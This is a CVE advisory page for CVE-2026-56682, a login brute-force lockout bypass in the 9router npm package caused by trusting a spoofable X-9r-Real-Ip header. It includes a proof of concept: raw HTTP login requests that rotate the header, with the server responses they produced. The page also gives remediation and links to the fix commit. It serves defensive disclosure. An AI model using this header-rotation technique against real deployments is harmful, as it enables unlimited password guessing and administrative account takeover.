# CVE-2026-56682: 9Router has a Login Brute-Force Lockout Bypass via Spoofable X-9r-Real-Ip Header

> CVE-2026-56682 (GitHub advisory GHSA-32gc-64m7-hj7v) is a medium-severity vulnerability with a CVSS 3.1 base score of 5.3, classed as Improper Restriction of Excessive Authentication Attempts (CWE-307), in 9router (npm). Affected versions: <= 0.5.4. It is fixed in 0.5.8.

Canonical page: https://cveminer.com/vulnerabilities/CVE-2026-56682

| Field | Value |
| --- | --- |
| CVE | CVE-2026-56682 |
| GHSA | GHSA-32gc-64m7-hj7v |
| Severity | Medium |
| CVSS 3.1 | 5.3 `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N` (GitHub Advisory Database) |
| CWE | CWE-307 Improper Restriction of Excessive Authentication Attempts; CWE-807 Reliance on Untrusted Inputs in a Security Decision |
| CISA KEV | Not listed |
| SSVC | exploitation poc, automatable yes, technical impact partial |
| Published | 22 Sept 2026 |
| Modified | 22 Sept 2026 |

## Description

9router enforces a progressive login lockout (5 failed attempts → temporary 30s+ lock) keyed on the client IP. The client IP used for this limiter is taken from the X-9r-Real-Ip request header, which is intended to be set only by the bundled custom-server.js layer from the unspoofable TCP socket address. In deployment modes where requests reach Next.js directly, a remote attacker controls this header and can assign a unique value to every request. Because each distinct header value maps to a fresh limiter bucket, the lockout never triggers, enabling unlimited password guessing against the dashboard login endpoint. This was reproduced against a live instance: a fixed header value was locked out (429) after 5 attempts, while rotating the header produced unlimited 401 responses with no lockout.

### Affected Component

- `src/lib/auth/loginLimiter.js`
  - `getClientIp()` — derives the rate-limit bucket key from the client-supplied `X-9r-Real-Ip` header
  - `checkLock()` / `recordFail()` — per-IP progressive lockout (`MAX_FAILS_BEFORE_LOCK = 5`)
- `src/app/api/auth/login/route.js` — login endpoint protected by the above limiter

### Root Cause

The brute-force protection partitions failed-attempt counters by client IP, but obtains that IP from a client-controllable HTTP header rather than from the transport layer. `getClientIp()` returns the value of `X-9r-Real-Ip` directly. The design assumes this header is produced and sanitized only by the trusted `custom-server.js` wrapper. When the application is served without that wrapper, the header passes through unmodified, so the attacker chooses the bucket key. Since the lockout is per-bucket, assigning a new value per request keeps every counter below the threshold:

```text
Untrusted Client Input
        ↓
X-9r-Real-Ip: <attacker-chosen, rotated each request>
        ↓
getClientIp()  → distinct bucket per request
        ↓
recordFail()/checkLock()  → threshold (5) never reached
        ↓
unlimited 401 attempts, no 429 lockout
```

### Attack Scenario

1. The instance is deployed in a mode that does not use `custom-server.js`, and the login endpoint is reachable by the attacker (the default bind is `0.0.0.0`).

2. The attacker submits password guesses to `POST /api/auth/login`, setting a different `X-9r-Real-Ip` value on each request (e.g., `10.0.0.1`, `10.0.0.2`, ...).

3. Each request is counted against a new bucket, so the limiter always reports remaining attempts and never returns `429`.

4. The attacker continues guessing without throttling until the dashboard password is recovered, yielding an authenticated admin session.

### Proof of Concept

#### Baseline — fixed header value (lockout enforced)

Repeated `POST /api/auth/login` with a constant `X-9r-Real-Ip: 9.9.9.9` and body `{"password":"wrong"}`:

```http
POST /api/auth/login HTTP/1.1
Host: victim.example.com:20127
X-9r-Real-Ip: 9.9.9.9
Content-Type: application/json
Content-Length: 20
Connection: close

{"password":"wrong"}
```

Observed responses (sequential):

```text
#1 → 401  {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}

#2 → 401  {"error":"Invalid password. 3 attempt(s) left before lockout.","remainingBeforeLock":3}

#3 → 401  {"error":"Invalid password. 2 attempt(s) left before lockout.","remainingBeforeLock":2}

#4 → 401  {"error":"Invalid password. 1 attempt(s) left before lockout.","remainingBeforeLock":1}

#5 → 429  Retry-After: 30
          {"error":"Too many failed attempts. Try again in 30s. ...","retryAfter":30}
```

#### Exploit — rotated header value (lockout bypassed)

Same request and body, but a different `X-9r-Real-Ip` per request, sent while `9.9.9.9` was already locked:

```http
POST /api/auth/login HTTP/1.1
Host: victim.example.com:20127
X-9r-Real-Ip: 10.0.0.1
Content-Type: application/json
Content-Length: 20
Connection: close

{"password":"wrong"}
```

Observed responses:

```text
X-9r-Real-Ip: 10.0.0.1 → 401  {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}

X-9r-Real-Ip: 10.0.0.2 → 401  {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}

X-9r-Real-Ip: 10.0.0.3 → 401  {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}
```
<img width="1211" height="814" alt="Screenshot 2026-06-19 183338" src="https://github.com/user-attachments/assets/07e37cf3-1860-4a06-8b27-97a5f6b9be64" />
<img width="1208" height="816" alt="Screenshot 2026-06-19 183408" src="https://github.com/user-attachments/assets/27021c5c-cb29-4649-887e-8de46f4c6e1c" />

Every rotated value resets to `"4 attempt(s) left"` and never returns `429`, demonstrating unbounded guessing.
### Impact

The login brute-force/credential-stuffing protection can be fully neutralized by a remote, unauthenticated attacker. This permits unlimited password guessing against the dashboard login endpoint, materially increasing the likelihood of account compromise. A recovered password yields an authenticated administrative session over the 9router dashboard and its protected APIs. The bypass is especially impactful given the default network bind (`0.0.0.0`) and the existence of a default dashboard password, both of which lower the effort required to succeed.

### Remediation

- Do not derive the rate-limit key from a client-controllable header. Base `getClientIp()` on the transport-level peer address (`req.socket.remoteAddress`) for the limiter bucket.
- Only honor forwarded client-IP headers when they originate from explicitly trusted, configured proxy infrastructure.
- If `custom-server.js` is required for the security model, fail closed when its trusted marker is absent, and strip/reject any inbound client-supplied `X-9r-*` headers at the edge before they reach the limiter.
- Consider a global (non-bucketed) attempt ceiling and exponential backoff as defense-in-depth so that header manipulation cannot reset all counters.

## Affected packages

| Package | Ecosystem | PURL | Vulnerable versions | Fixed in |
| --- | --- | --- | --- | --- |
| 9router | npm | `pkg:npm/9router` | <= 0.5.4 | 0.5.8 |

## Fix commits

- Patch: https://github.com/decolua/9router/commit/efd20be8d81ef2e256a7037f3aa78e6b567b5fd3

## Questions

**What is the GHSA ID for CVE-2026-56682?**

GitHub tracks CVE-2026-56682 as GHSA-32gc-64m7-hj7v.

**What is the CVSS score of CVE-2026-56682?**

CVE-2026-56682 has a CVSS 3.1 base score of 5.3 (Medium), vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N.

**Which versions are affected by CVE-2026-56682?**

9router (npm): <= 0.5.4.

**How do I fix CVE-2026-56682?**

Upgrade to 0.5.8 or later. The fix is in commit efd20be.

**What is the Package URL (PURL) for CVE-2026-56682?**

The affected package's PURL is pkg:npm/9router.

**Is CVE-2026-56682 exploited in the wild?**

CISA's Known Exploited Vulnerabilities catalog doesn't list CVE-2026-56682. That means no confirmed exploitation has been catalogued, not that it is safe to leave unpatched. CISA's SSVC assessment rates exploitation as "poc".

## References

- https://github.com/decolua/9router/commit/efd20be8d81ef2e256a7037f3aa78e6b567b5fd3 (fix)
- https://github.com/decolua/9router/security/advisories/GHSA-32gc-64m7-hj7v (advisory)
- https://github.com/advisories/GHSA-32gc-64m7-hj7v (advisory)
- https://github.com/decolua/9router (package)
- https://github.com/decolua/9router/releases/tag/v0.5.6

---

Source: CVEminer (https://cveminer.com/vulnerabilities/CVE-2026-56682), compiled from OSV (GitHub advisory), GitHub Advisory Database, CVE.org, CISA KEV catalog. OSV and GitHub Advisory Database content is licensed CC BY 4.0.
